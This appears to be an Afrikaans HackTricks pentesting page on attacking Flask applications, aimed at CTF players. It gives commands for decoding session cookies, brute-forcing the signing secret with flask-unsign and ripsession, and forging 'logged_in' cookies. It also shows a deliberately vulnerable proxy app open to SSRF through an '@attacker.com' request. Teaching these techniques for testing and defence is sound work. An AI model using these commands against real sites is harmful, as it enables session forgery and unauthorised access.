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89 lines
2.6 KiB
Markdown
89 lines
2.6 KiB
Markdown
# Flask
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{{#include ../../banners/hacktricks-training.md}}
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**Waarskynlik, as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
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## Koekies
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Die standaard koekie sessienaam is **`session`**.
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### Dekodeerder
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Aanlyn Flask koekies dekodeerder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
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#### Handmatig
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Kry die eerste deel van die koekie tot by die eerste punt en Base64 dekodeer dit.
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```bash
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echo "ImhlbGxvIg" | base64 -d
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```
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Die koekie is ook onderteken met 'n wagwoord
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### **Flask-Unsign**
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Opdraglyn hulpmiddel om sessiekoekies van 'n Flask-toepassing te verkry, te ontleed, te brute-force en te vervaardig deur geheime sleutels te raai.
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{{#ref}}
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https://pypi.org/project/flask-unsign/
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{{#endref}}
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```bash
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pip3 install flask-unsign
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```
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#### **Dekodeer Koekie**
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```bash
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flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
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```
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#### **Brute Force**
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```bash
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flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
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```
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#### **Teken**
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
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```
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#### Ondertekening met behulp van erfenis (ouditiewe weergawes)
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```bash
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flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
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```
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### **RIPsession**
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Opdraglyn hulpmiddel om webwerwe te brute-force met koekies wat met flask-unsign gemaak is.
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{{#ref}}
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https://github.com/Tagvi/ripsession
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{{#endref}}
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```bash
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ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
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```
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### SQLi in Flask sessie koekie met SQLmap
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[**Hierdie voorbeeld**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) gebruik sqlmap `eval` opsie om **automaties sqlmap payloads** vir flask te teken met 'n bekende geheim.
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## Flask Proxie na SSRF
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[**In hierdie skrywe**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) word verduidelik hoe Flask 'n versoek toelaat wat begin met die karakter "@":
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```http
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GET @/ HTTP/1.1
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Host: target.com
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Connection: close
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```
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In die volgende scenario:
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```python
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from flask import Flask
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from requests import get
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app = Flask('__main__')
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SITE_NAME = 'https://google.com/'
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@app.route('/', defaults={'path': ''})
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@app.route('/<path:path>')
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def proxy(path):
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return get(f'{SITE_NAME}{path}').content
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app.run(host='0.0.0.0', port=8080)
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```
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Kan toelaat om iets soos "@attacker.com" in te voer om 'n **SSRF** te veroorsaak.
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{{#include ../../banners/hacktricks-training.md}}
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